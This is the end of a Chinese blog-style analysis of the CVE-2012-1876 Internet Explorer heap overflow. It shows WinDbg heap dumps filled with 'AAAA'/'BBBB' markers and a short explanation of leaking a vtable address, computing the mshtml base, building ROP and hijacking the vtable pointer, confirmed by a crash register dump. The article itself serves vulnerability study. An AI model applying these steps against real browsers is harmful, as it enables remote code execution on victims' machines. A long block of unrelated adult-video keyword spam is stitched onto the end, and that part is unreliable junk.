00 00 00 p....<.h........ 03f2b190 09 08 08 01 ff ff ff ff-00 00 00 00 00 00 00 00 ................ 03f2b1a0 00 00 00 00 ff ff ff ff-80 00 00 00 ff ff ff ff ................ 03f2b1b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b1c0 00 00 00 00 24 00 00 00-20 00 00 00 00 00 00 00 ....$... ....... 03f2b1d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b1e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b1f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b200 00 00 00 00 00 00 00 00-00 00 00 00 28 b2 f2 03 ............(... 03f2b210 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b220 01 00 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b230 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b240 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................ 03f2b250 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b260 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b270 00 00 00 00 00 00 00 00-66 10 d1 01 00 00 00 c2 ........f....... 03f2b280 a4 30 a9 03 00 00 00 00-02 00 00 00 1c 00 02 05 .0.............. 03f2b290 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2b2a0 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2b2b0 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2b2c0 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2b2d0 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2b2e0 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2b2f0 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2b300 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2b310 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2b320 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2b330 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2b340 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2b350 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2b360 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2b370 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2b380 45 00 45 00 41 00 45 00-48 00 01 00 45 00 00 00 E.E.A.E.H...E... 03f2b390 5b 10 d1 01 00 00 00 c2-0c 61 81 04 00 00 00 00 [........a...... 03f2b3a0 02 00 00 00 18 00 02 05-fa 00 00 00 41 00 41 00 ............A.A. 03f2b3b0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b3c0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b3d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b3e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b3f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b400 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b410 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b420 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b430 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b440 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b450 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b460 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b470 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b480 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b490 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b4a0 41 00 41 00 41 00 00 00-bc 10 d1 01 00 00 00 c2 A.A.A........... 03f2b4b0 0c 61 81 04 00 00 00 00-02 00 00 00 18 00 02 05 .a.............. 03f2b4c0 fa 00 00 00 42 00 42 00-42 00 42 00 42 00 42 00 ....B.B.B.B.B.B. 03f2b4d0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b4e0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b4f0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b500 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b510 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b520 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b530 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b540 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b550 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b560 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b570 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b580 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b590 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b5a0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b5b0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B... 03f2b5c0 91 10 d1 01 00 00 00 c2-c0 6a 81 04 00 00 00 00 .........j...... 03f2b5d0 02 00 00 00 1c 00 02 05-f8 3a 8d 68 10 0b 37 01 .........:.h..7. 03f2b5e0 e0 90 ef 03 90 3c 8d 68-01 00 00 00 00 00 00 00 .....<.h........ 03f2b5f0 09 08 08 01 ff ff ff ff-00 00 00 00 00 00 00 00 ................ 03f2b600 00 00 00 00 ff ff ff ff-80 00 00 00 ff ff ff ff ................ 03f2b610 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b620 00 00 00 00 24 00 00 00-20 00 00 00 00 00 00 00 ....$... ....... 03f2b630 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b640 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b650 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b660 00 00 00 00 00 00 00 00-00 00 00 00 88 b6 f2 03 ................ 03f2b670 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b680 01 00 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b690 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b6a0 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................ 03f2b6b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b6c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2b6d0 00 00 00 00 00 00 00 00-f2 10 d1 01 00 00 00 c2 ................ 03f2b6e0 a4 30 a9 03 00 00 00 00-02 00 00 00 1c 00 02 05 .0.............. 03f2b6f0 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2b700 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2b710 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2b720 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2b730 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2b740 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2b750 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2b760 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2b770 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2b780 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2b790 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2b7a0 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2b7b0 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2b7c0 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2b7d0 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2b7e0 45 00 45 00 41 00 45 00-48 00 01 00 45 00 00 00 E.E.A.E.H...E... 03f2b7f0 d7 10 d1 01 00 00 00 c2-0c 61 81 04 00 00 00 00 .........a...... 03f2b800 02 00 00 00 18 00 02 05-fa 00 00 00 41 00 41 00 ............A.A. 03f2b810 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b820 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b830 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b840 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b850 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b860 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b870 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b880 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b890 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b8a0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b8b0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b8c0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b8d0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b8e0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b8f0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2b900 41 00 41 00 41 00 00 00-08 11 d1 01 00 00 00 c2 A.A.A........... 03f2b910 0c 61 81 04 00 00 00 00-02 00 00 00 18 00 02 05 .a.............. 03f2b920 fa 00 00 00 42 00 42 00-42 00 42 00 42 00 42 00 ....B.B.B.B.B.B. 03f2b930 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b940 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b950 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b960 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b970 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b980 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b990 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b9a0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b9b0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b9c0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b9d0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b9e0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2b9f0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2ba00 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2ba10 42 00 42 00 42 00 42 00-42 00 42 00 42 00 00 00 B.B.B.B.B.B.B... 03f2ba20 6d 11 d1 01 00 00 00 c2-c0 6a 81 04 00 00 00 00 m........j...... 03f2ba30 02 00 00 00 1c 00 02 05-f8 3a 8d 68 10 0b 37 01 .........:.h..7. 03f2ba40 50 91 ef 03 90 3c 8d 68-01 00 00 00 00 00 00 00 P....<.h........ 03f2ba50 09 08 08 01 ff ff ff ff-00 00 00 00 00 00 00 00 ................ 03f2ba60 00 00 00 00 ff ff ff ff-80 00 00 00 ff ff ff ff ................ 03f2ba70 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2ba80 00 00 00 00 24 00 00 00-20 00 00 00 00 00 00 00 ....$... ....... 03f2ba90 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2baa0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2bab0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2bac0 00 00 00 00 00 00 00 00-00 00 00 00 e8 ba f2 03 ................ 03f2bad0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2bae0 01 00 00 00 01 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2baf0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2bb00 ff ff ff ff ff ff ff ff-ff ff ff ff ff ff ff ff ................ 03f2bb10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2bb20 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 03f2bb30 00 00 00 00 00 00 00 00-4e 11 d1 01 00 00 00 c2 ........N....... 03f2bb40 a4 30 a9 03 00 00 00 00-02 00 00 00 1c 00 02 05 .0.............. 03f2bb50 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2bb60 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2bb70 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2bb80 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2bb90 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2bba0 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2bbb0 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2bbc0 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2bbd0 45 00 45 00 41 00 45 00-48 00 01 00 04 10 00 00 E.E.A.E.H....... 03f2bbe0 04 10 00 00 04 10 00 00-00 00 00 00 45 00 45 00 ............E.E. 03f2bbf0 41 00 45 00 48 00 01 00-04 10 00 00 04 10 00 00 A.E.H........... 03f2bc00 04 10 00 00 00 00 00 00-45 00 45 00 41 00 45 00 ........E.E.A.E. 03f2bc10 48 00 01 00 04 10 00 00-04 10 00 00 04 10 00 00 H............... 03f2bc20 00 00 00 00 45 00 45 00-41 00 45 00 48 00 01 00 ....E.E.A.E.H... 03f2bc30 04 10 00 00 04 10 00 00-04 10 00 00 00 00 00 00 ................ 03f2bc40 45 00 45 00 41 00 45 00-48 00 01 00 45 00 00 00 E.E.A.E.H...E... 03f2bc50 a3 11 d1 01 00 00 00 c2-0c 61 81 04 00 00 00 00 .........a...... 03f2bc60 02 00 00 00 18 00 02 05-fa 00 00 00 41 00 41 00 ............A.A. 03f2bc70 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bc80 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bc90 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bca0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bcb0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bcc0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bcd0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bce0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bcf0 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bd00 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bd10 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bd20 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bd30 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bd40 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bd50 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. 03f2bd60 41 00 41 00 41 00 00 00-84 11 d1 01 00 00 00 c2 A.A.A........... 03f2bd70 0c 61 81 04 00 00 00 00-02 00 00 00 18 00 02 05 .a.............. 03f2bd80 fa 00 00 00 42 00 42 00-42 00 42 00 42 00 42 00 ....B.B.B.B.B.B. 03f2bd90 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2bda0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2bdb0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2bdc0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2bdd0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2bde0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2bdf0 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2be00 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2be10 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2be20 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2be30 42 00 42 00 42 00 42 00-42 00 42 00 42 00 42 00 B.B.B.B.B.B.B.B. 03f2be40 42 00 42 00 42 00 42 00-42 00 42 00 B.B.B.B.B.B.

    很簡單的能觀察到03f2ae30的AAAA字符串被大量覆蓋,所以它就是vulheap。得到虛表地址后,計算mshtml基地址,構造rop。然后再次溢出,這次溢出直接像剛剛覆蓋BBBB的大小一樣,直接覆蓋虛表指針,于是就可以劫持虛表指針到任意地址,如下

    (6cc.7f8): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=07070024--->控制虛表指針 ebx=01000000 ecx=040f8910 edx=00000041 esi=0375f530 edi=040e0790 eip=003d006b esp=0375f368 ebp=0375f3a0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 003d006b 777a ja 003d00e7 [br=1]

    到此,這個洞的分析就結束了。

    參考資料

    《漏洞戰爭》

    WinDbg漏洞分析調試(一):https://paper.seebug.org/179/

    總結

    以上是生活随笔為你收集整理的CVE-2012-1876 Internet Exporter堆溢出漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

    国产成人在线观看免费 | av三级av| 精品电影一区二区 | 精品国内自产拍在线观看视频 | 日韩大陆欧美高清视频区 | 手机av电影在线观看 | 亚洲网站在线看 | 国产午夜一级毛片 | 69国产成人综合久久精品欧美 | 天天摸夜夜操 | av观看久久久 | 国产伦理久久精品久久久久_ | 国产午夜精品久久 | 国产一区电影在线观看 | 久久久网站| 久久久久久久久久久久久影院 | 国产亚洲精品美女 | 中文字幕一区二区三区在线播放 | 欧美精品在线视频 | 国产在线一区二区 | 国产色就色 | 亚洲人天堂 | 黄色在线观看网站 | 久久一精品 | 亚洲一二三在线 | 一区二区三区四区五区在线 | 一级淫片在线观看 | 亚洲欧美成aⅴ人在线观看 四虎在线观看 | 国产91精品看黄网站在线观看动漫 | 天天综合网 天天综合色 | 亚洲综合五月 | 伊人久久国产 | 日本久久成人 | 成人超碰97 | 成人黄色av网站 | 国产不卡片 | 日韩高清久久 | 久久人人97超碰com | 91手机视频 | 国产成人久久精品一区二区三区 | 久久欧美在线电影 | 色婷婷丁香 | www久久九| 91麻豆精品国产91久久久更新时间 | 在线观看精品黄av片免费 | 中文字幕 国产 一区 | 久久免费电影网 | 在线免费黄色毛片 | 色网站在线免费观看 | 久久国产精品久久w女人spa | 久草久 | 色婷婷久久久 | 欧美性精品| 欧美精品一区二区在线播放 | 91av欧美| 中文字幕av专区 | 亚洲精品视频在线免费播放 | 日韩成人邪恶影片 | 永久免费av在线播放 | 国产精品久久久久高潮 | 99精品视频在线观看播放 | 午夜国产福利在线观看 | 99热网站| 国产精品成人自拍 | 一区二区三区中文字幕在线 | 国内精品久久久精品电影院 | 国产+日韩欧美 | 国产精品黑丝在线观看 | av在线一二三区 | 精品欧美一区二区三区久久久 | 在线观看激情av | 国产系列 在线观看 | www.色午夜,com | 激情综合五月天 | 欧美黄色软件 | 久久久久国产精品免费 | 亚洲免费一级电影 | 国产精品wwwwww| 99久久精品日本一区二区免费 | 97精品国自产拍在线观看 | 婷婷丁香久久五月婷婷 | 国产精品久久久久久久久婷婷 | 久久这里只有精品1 | 美女黄频在线观看 | av电影中文| 人人草天天草 | 久久精品一二三区 | 免费黄在线观看 | 天天操天天爱天天爽 | 国产视频中文字幕在线观看 | 97色在线观看免费视频 | 国产精品美女在线观看 | 国产麻豆果冻传媒在线观看 | 香蕉久草 | 日韩视频免费观看高清 | 国产精品久久久久一区二区三区共 | 中文字幕精品视频 | 久久国产一区 | 国产视频久久久 | 成人在线一区二区三区 | 国产麻豆视频网站 | 精油按摩av | 久久久www成人免费毛片麻豆 | 日韩在线观看视频中文字幕 | 久久精品99国产精品酒店日本 | 亚洲第一av在线播放 | 人人插人人射 | www.神马久久| 久久久毛片 | 玖玖综合网 | 日韩视频中文字幕在线观看 | 久久精品99视频 | 在线国产91| 久久久99国产精品免费 | 在线观看视频h | 免费久久网站 | 国产精品久久av | 欧美精品久久久久久久久久 | 免费毛片一区二区三区久久久 | 亚洲精品美女久久久久网站 | 天天舔天天射天天操 | 在线免费观看的av | 日韩免费中文 | 成人亚洲精品国产www | 久久99国产精品自在自在app | 欧美精品久久99 | 综合婷婷丁香 | 国产成人精品av在线观 | 国产精品av电影 | 中文字幕 第二区 | 亚洲国产成人精品在线 | 国产资源免费 | 五月婷婷在线综合 | 欧洲视频一区 | 在线天堂亚洲 | 夜色在线资源 | 91在线看黄 | 国产精品一区二区三区视频免费 | 91日韩精品一区 | 黄色aa久久| 亚洲日本激情 | 伊人天天狠天天添日日拍 | 国产精品情侣视频 | 黄色的视频 | 久久综合久久88 | 高清不卡毛片 | 精品一区二区在线观看 | 狠狠色丁香久久综合网 | 国语精品视频 | 日韩精品一区二区久久 | 日本久久精 | 久久av影视 | 精品麻豆入口免费 | 久久精美视频 | 又色又爽又黄高潮的免费视频 | 97免费在线观看视频 | 奇米网777 | 99产精品成人啪免费网站 | 久久久久久久久久久久久影院 | 国内精品久久久久 | av3级在线 | 99re久久资源最新地址 | 午夜国产在线 | 欧美国产在线看 | 久久爱资源网 | 精品国产精品久久 | 免费在线观看一区二区三区 | 五月天婷婷在线观看视频 | 亚洲欧洲精品一区二区 | 在线观看国产福利片 | 亚洲黄色免费在线看 | 亚洲成人高清在线 | 黄色片视频免费 | 久久99久久久久 | 日韩啪啪小视频 | 免费一级特黄毛大片 | 免费看毛片在线 | 日本黄色免费在线观看 | 免费三级av | 色网站在线免费观看 | 国产97色 | 深夜激情影院 | 日韩理论在线 | 天天干夜夜操视频 | 亚洲国产精品久久久久久 | 1区2区3区在线观看 三级动图 | 亚洲欧洲精品一区二区 | 在线一二区 | 黄网站app在线观看免费视频 | 久草视频免费观 | 最新中文字幕在线资源 | 国产精品久久久久久久午夜 | 久久久久99精品国产片 | 五月天av在线 | 欧美片一区二区三区 | 久久久福利影院 | 丰满少妇在线观看 | 久久爱综合 | 亚洲综合网站在线观看 | 亚洲精品午夜久久久久久久 | 久久精品2 | 蜜臀久久99精品久久久久久网站 | 久久综合久久综合久久 | 国产99久久九九精品免费 | 色综合天天综合网国产成人网 | 亚洲精品国产区 | 日韩欧美高清免费 | 色综合久久99 | 欧美韩国日本在线观看 | 久久a久久| 成人a大片 | 欧美日韩免费观看一区二区三区 | 中文字幕精品www乱入免费视频 | 天天操天天射天天舔 | 日黄网站 | 欧美福利片在线观看 | av一级久久| 国产亚洲精品久久久久久移动网络 | 中文字幕免费播放 | 欧美性免费 | 免费av成人在线 | 日本不卡一区二区三区在线观看 | 黄色一级大片在线观看 | 亚洲精品视频在线观看免费视频 | 精品一区二区久久久久久久网站 | 亚洲人xxx| 九九九国产 | 欧美亚洲一区二区在线 | 狠狠天天 | 亚洲精品视频在线免费 | 亚洲成aⅴ人片久久青草影院 | 天天插天天狠天天透 | 久久美女电影 | 成人网看片 | 黄色三级免费看 | 国产色拍拍拍拍在线精品 | 日韩免费 | 久久精久久精 | 亚洲黄色在线播放 | 天天干天天操天天爱 | 久久视频一区二区 | 国产女人40精品一区毛片视频 | 亚洲一区二区视频在线播放 | 久久另类小说 | 在线观看黄色小视频 | 欧美色婷| 国产黄色播放 | 亚洲精品videossex少妇 | 久久人人精品 | 成片免费 | 成人四虎 | 久久精品国产一区二区三 | 69久久夜色精品国产69 | 色综合中文综合网 | 四虎视频 | 伊人五月在线 | 免费亚洲视频 | 国产99久久精品一区二区300 | 成年人电影免费看 | 欧美日韩国产一区二区三区在线观看 | 99视| 亚洲精品一区二区三区四区高清 | 天天拍天天干 | 久久综合精品国产一区二区三区 | 亚洲老妇xxxxxx | 欧美久久电影 | 永久中文字幕 | 欧美色888| 亚洲va天堂va欧美ⅴa在线 | 精品视频专区 | 成人在线视频你懂的 | 激情综合五月 | 亚洲天天在线日亚洲洲精 | 中文字幕精品一区二区三区电影 | 亚洲春色综合另类校园电影 | av在线亚洲天堂 | 国产黄色视 | 国产视频一区在线播放 | 天天操天天射天天操 | 日韩欧美一区二区三区在线观看 | 欧美精品乱码久久久久 | 又黄又爽又刺激 | 香蕉在线播放 | av片在线看 | 在线观看av黄色 | 国产99久久精品一区二区永久免费 | 97精品国产手机 | 天堂成人在线 | 日韩精品一区在线观看 | 99精品热| 日韩一区二区三免费高清在线观看 | 亚洲精品免费在线观看 | 久久综合婷婷国产二区高清 | 欧美日韩不卡在线视频 | 国产一区二区网址 | 亚洲高清色综合 | 黄色网中文字幕 | av片免费播放 | 精品一区在线看 | av中文字幕不卡 | 99热这里只有精品久久 | 亚洲精品88欧美一区二区 | 国产这里只有精品 | 国产69精品久久久久9999apgf | 久久精品在线视频 | 国产精品久久麻豆 | av电影在线播放 | av亚洲产国偷v产偷v自拍小说 | 在线天堂亚洲 | 久久久国产一区 | 欧美亚洲一区二区在线 | 亚洲国产日韩一区 | 精品国产综合区久久久久久 | 成人av午夜 | 在线午夜电影神马影院 | 日韩在线观看视频一区二区三区 | 国产精品久久精品国产 | 97操碰 | 狠狠操天天干 | 91免费看黄色 | 天天综合网在线观看 | 玖草在线观看 | 日日干天天爽 | 亚洲一区二区三区在线看 | 最近更新的中文字幕 | 精品视频9999 | 视频二区在线 | 一区二区三区中文字幕在线观看 | 五月婷婷在线视频观看 | 蜜臀av在线一区二区三区 | 婷婷色吧 | www.av在线.com | 亚洲天堂在线观看完整版 | 亚洲1区在线 | 